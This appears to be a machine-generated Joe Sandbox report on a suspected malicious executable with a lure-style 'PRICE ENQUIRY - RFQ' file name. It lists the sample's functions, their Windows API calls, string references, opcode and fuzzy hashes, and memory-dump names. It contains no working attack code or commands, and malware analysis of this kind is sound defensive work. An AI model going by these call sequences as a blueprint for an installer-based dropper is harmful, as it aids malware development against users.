API ID: File$ByteCharMultiReadWide$Pointerwsprintf
String ID: 9
API String ID: 1149667376-2366072709
Opcode ID: 7d41bcd3dae3dae80b68e9040ec7ff24257b7140080f1b6cb91404220a5539cb
Instruction ID: a762cbfc482fee2f38ad097521ed942063d68533c50e5d13a1d21fd8ed512a93
Opcode Fuzzy Hash: 7d41bcd3dae3dae80b68e9040ec7ff24257b7140080f1b6cb91404220a5539cb
Instruction Fuzzy Hash: 2E51E671E04209ABDF24DF94DE88AAEB779FF14304F50443BE501B62D0D7B99A42CB69

Function 004027E5 Relevance: 10.6, APIs: 7, Instructions: 75memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004059E3: GetFileAttributesW.KERNELBASE(00000003,00402DA9,C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe,80000000,00000003,?,?,?,00000000,00403425,?), ref: 004059E7
Part of subcall function 004059E3: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403425,?), ref: 00405A09

GlobalAlloc.KERNEL32(?,?), ref: 00402809
CloseHandle.KERNEL32(?), ref: 0040288F

Part of subcall function 004031B4: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402F30,?,?,?,?,00000000,00403425,?), ref: 004031C2

GlobalAlloc.KERNEL32(?,?,00000000,?), ref: 00402825
GlobalFree.KERNEL32(?), ref: 0040285E
WriteFile.KERNEL32(?,00000000,?,?), ref: 00402870
GlobalFree.KERNEL32(00000000), ref: 00402877

Part of subcall function 00402FA2: GetTickCount.KERNEL32 ref: 00403003
Part of subcall function 00402FA2: GetTickCount.KERNEL32 ref: 00403084
Part of subcall function 00402FA2: MulDiv.KERNEL32(7FFFFFFF,?,?), ref: 004030B1
Part of subcall function 00402FA2: wsprintfW.USER32 ref: 004030C4

DeleteFileW.KERNEL32(?), ref: 004028A3

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: File$Global$AllocCountFreeTick$AttributesCloseCreateDeleteHandlePointerWritewsprintf
String ID:
API String ID: 3544248947-0
Opcode ID: 593aa15c3051313e836a0adc176ea4428ce1e3cdcc9ef311718d308165880669
Instruction ID: 0e58b7afe1f3acd7bb22396cc78e983778dbaf884e5091fce70fd7bde21c8e84
Opcode Fuzzy Hash: 593aa15c3051313e836a0adc176ea4428ce1e3cdcc9ef311718d308165880669
Instruction Fuzzy Hash: 0F215C72C00118BFDF11AFA5CE49CAE7E79EF08364B14423AF5147A2E0C6795E419BA9

Function 00405021 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00421678,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000,?), ref: 00405059
lstrlenW.KERNEL32(004030DB,00421678,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000), ref: 00405069
lstrcatW.KERNEL32(00421678,004030DB,004030DB,00421678,00000000,0040FE48,00000000), ref: 0040507C
SetWindowTextW.USER32(00421678,00421678), ref: 0040508E
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004050B4
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004050CE
SendMessageW.USER32(?,00001013,?,00000000), ref: 004050DC

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 10d1762b9fa155a9d3d7976a102070090a450b977e8726d8c814e0ba449829d0
Instruction ID: 72d3c87754a4f2576c1daf3770cdfe6bbb79a9fd4797c08dd841ae8e1e27fedc
Opcode Fuzzy Hash: 10d1762b9fa155a9d3d7976a102070090a450b977e8726d8c814e0ba449829d0
Instruction Fuzzy Hash: AE219D71900518BBCB219F95DD84ADFBFB9EF45350F14807AF904B62A0C3798A41CFA8

Function 004048EB Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404906
GetMessagePos.USER32 ref: 0040490E
ScreenToClient.USER32(?,?), ref: 00404928
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040493A
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404960

Strings

f, xrefs: 0040493C

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction ID: 5094cac0cfd66b0e8cfd3256396541bb223221662a15d93018ee399e52c78ab9
Opcode Fuzzy Hash: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction Fuzzy Hash: B9014071D00219BADB00DBA4DD45FFFBBB8AB95B21F10016ABB10B71C0C7B4A5018B95

Function 00402C7F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C9D
MulDiv.KERNEL32(000BA0A7,?,000BA0AB), ref: 00402CC8
wsprintfW.USER32 ref: 00402CD8
SetWindowTextW.USER32(?,?), ref: 00402CE8
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402CFA

Strings

verifying installer: %d%%, xrefs: 00402CD2

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 4a7d612a3107a8faa67c2a3ba57bc865a53d9af2ae63cae8aa971940a760aa5f
Instruction ID: 00b8461607dcb0b3980451466b6828af2013657049940e2aaaac4a967361d4db
Opcode Fuzzy Hash: 4a7d612a3107a8faa67c2a3ba57bc865a53d9af2ae63cae8aa971940a760aa5f
Instruction Fuzzy Hash: F5012170604208BBEF249F60DD49BAE3B69FB00305F008039FA06A52D1DBB99954DB59

Function 00401D41 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D44
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D51
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D60
ReleaseDC.USER32(?,00000000), ref: 00401D71
CreateFontIndirectW.GDI32(0040BD58), ref: 00401DBC

Strings

Tahoma, xrefs: 00401DA2

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Tahoma
API String ID: 3808545654-3580928618
Opcode ID: e0dd648f89e71b848aee87c3153f931368c6150bf5ac8d053cf3e9ba5cb65982
Instruction ID: 50cd7c3d9b324c63c10bedbdfe153cfa446442d7209eb1202fb80f546c31283e
Opcode Fuzzy Hash: e0dd648f89e71b848aee87c3153f931368c6150bf5ac8d053cf3e9ba5cb65982
Instruction Fuzzy Hash: D3016D71944280AFEB116BB0AE0AB9ABF74DF55301F14847AF141B62F2C7791005DBAE

Function 100022EB Relevance: 9.1, APIs: 6, Instructions: 134memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 10002391
GlobalAlloc.KERNEL32(?,?), ref: 100023B2
CLSIDFromString.OLE32(?,00000000), ref: 100023BF
GlobalAlloc.KERNEL32(?), ref: 100023DD
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023F8
GlobalFree.KERNEL32(00000000), ref: 1000241A

Memory Dump Source

Source File: 00000000.00000002.2382298041.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2382285466.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2382311670.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2382325005.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Global$Alloc$ByteCharFreeFromMultiStringWidelstrlen
String ID:
API String ID: 3579998418-0
Opcode ID: d06520f5c61e510f0831b34fc4ed5dc6ae45d33c03c026c0edd8301773c2f489
Instruction ID: 896c08f96dc03187adf01b888d28386c50d9513e33e57f95a3092ffc5e904c0a
Opcode Fuzzy Hash: d06520f5c61e510f0831b34fc4ed5dc6ae45d33c03c026c0edd8301773c2f489
Instruction Fuzzy Hash: A3419FB4504706EFF324DF249C94A6A77E8FB443D0F11892DF98AC6199CB34AA94CB61

Function 1000248D Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 100024E1
StringFromGUID2.OLE32(?,00000000,?,?,?,00000000,00000001,1000186C,00000000), ref: 100024F5

Part of subcall function 100012F3: lstrcpyW.KERNEL32(00000019,00000000,7591FFC0,100011AA,?,00000000), ref: 1000131E

GlobalFree.KERNEL32(?), ref: 10002559
GlobalFree.KERNEL32(00000000), ref: 10002582

Memory Dump Source

Source File: 00000000.00000002.2382298041.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2382285466.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2382311670.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2382325005.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: FreeGlobal$FromStringlstrcpywsprintf
String ID:
API String ID: 2435812281-0
Opcode ID: 9253aae3ae820304c48da97b40e54ff33b64d0bdf23cd0f03cf5d4ae08895b6f
Instruction ID: b8df5bf25714b619238b14e922296a4c8fadfdd3343c634a81266bb1cff10f5b
Opcode Fuzzy Hash: 9253aae3ae820304c48da97b40e54ff33b64d0bdf23cd0f03cf5d4ae08895b6f
Instruction Fuzzy Hash: 3131F1B1504A1AEFFB21CFA4DCA482AB7B8FF003D67224519F9419217CDB319D50DB69

Function 100018C1 Relevance: 7.7, APIs: 5, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalFree.KERNEL32(?), ref: 10001928
GlobalFree.KERNEL32(?), ref: 10001AB9
GlobalFree.KERNEL32(?), ref: 10001ABE

Memory Dump Source

Source File: 00000000.00000002.2382298041.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2382285466.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2382311670.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2382325005.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: FreeGlobal$lstrcpy
String ID:
API String ID: 176019282-0
Opcode ID: 1c9453be25982cee2ee6e6730667b579ec96db4d4f6aa0d6ab14657c31cbc0ef
Instruction ID: 5f977143e903dceeb219282147683d12af406f102b63ffa8563e92424d473d54
Opcode Fuzzy Hash: 1c9453be25982cee2ee6e6730667b579ec96db4d4f6aa0d6ab14657c31cbc0ef
Instruction Fuzzy Hash: B451B736F01119DAFF10DFA488815EDB7F5FB463D0B228169E804A311CDB75AF419B92

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402B9B
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402BD7
RegCloseKey.ADVAPI32(?), ref: 00402BE0
RegCloseKey.ADVAPI32(?), ref: 00402C05
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402C23

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: e0d8e9b4b7c3dced49d372e318274e4029313fc8c3479f6e652278d6efa82a2c
Instruction ID: 24cb19e20ea0269922d23406ceb1d71d2baff7de250534ea652b51db9971d4c8
Opcode Fuzzy Hash: e0d8e9b4b7c3dced49d372e318274e4029313fc8c3479f6e652278d6efa82a2c
Instruction Fuzzy Hash: 2B113A71904008FEEF219F90DE89EAE3B79EB54348F104476FA05B10A0D3B59E51EA69

Function 10001617 Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002167,?,00000808), ref: 1000162F
GlobalAlloc.KERNEL32(?,00000000,?,00000000,10002167,?,00000808), ref: 10001636
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002167,?,00000808), ref: 1000164A
GetProcAddress.KERNEL32(10002167,00000000), ref: 10001651
GlobalFree.KERNEL32(00000000), ref: 1000165A

Memory Dump Source

Source File: 00000000.00000002.2382298041.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2382285466.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2382311670.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2382325005.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401CE5 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401CEB
GetClientRect.USER32(00000000,?), ref: 00401CF8
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D19
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D27
DeleteObject.GDI32(00000000), ref: 00401D36

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 8cb731f1ee41a948d9b00d07cd288df26cf09a951ff47cf32c7b9dfe7a704fc5
Instruction ID: 5f088aa0ca27e90fd893fee14e64151101962dab4a112754cbcab5b472a91c15
Opcode Fuzzy Hash: 8cb731f1ee41a948d9b00d07cd288df26cf09a951ff47cf32c7b9dfe7a704fc5
Instruction Fuzzy Hash: 53F0E1B2A04104BFDB01DBE4EE88DEEB7BCEB08315B104466F601F5190C674AD018B39

Function 00404805 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422698,00422698,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,0000040F,00000400,00000000), ref: 00404896
wsprintfW.USER32 ref: 0040489F
SetDlgItemTextW.USER32(?,00422698), ref: 004048B2

Strings

%u.%u%s%s, xrefs: 00404880

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 622046c32e08c139f946db5b20c2e3788ecdd06d9bd863a2191b15ab38d62873
Instruction ID: 59e17c8afd225f679fed4f3ac3ee25800eeb16d6bc796772b25e59257c8be9d1
Opcode Fuzzy Hash: 622046c32e08c139f946db5b20c2e3788ecdd06d9bd863a2191b15ab38d62873
Instruction Fuzzy Hash: FB11E2776002243BDB10666D9C49EEF369DDBC6334F14863BFA29F61D1E978881186E8

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 9509e5e7a0907e764604f6084ff3dd6a46145b46d1e6bef9a99a17c67a449adc
Instruction ID: 32ea72146a28600a98e99adc179119cd295c2a32732311222b232d5c22eb20b7
Opcode Fuzzy Hash: 9509e5e7a0907e764604f6084ff3dd6a46145b46d1e6bef9a99a17c67a449adc
Instruction Fuzzy Hash: 8B217471A44109BEDF019FB0C94AFAD7B75EF44748F20413AF502B61D1D6B8A941DB18

Function 00405C44 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,00000002,Call,?,00405EB7,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405C6E
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?,?,00405EB7,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405C8F
RegCloseKey.ADVAPI32(?,?,00405EB7,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405CB2

Strings

Call, xrefs: 00405C47

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction ID: 3cd74c106f1fbed165a62e297fbc125935b5083a19d10d34083766567549a8a9
Opcode Fuzzy Hash: 6d49e1ec12a7b24cc87819d5cf70687d25a5c21dfc25d1df192b84af38ef9460
Instruction Fuzzy Hash: 4901083115420AEBEB218F66ED09E9B3FA8EF85354F00402AF915E6260D335D964DBA5

Function 004057C2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

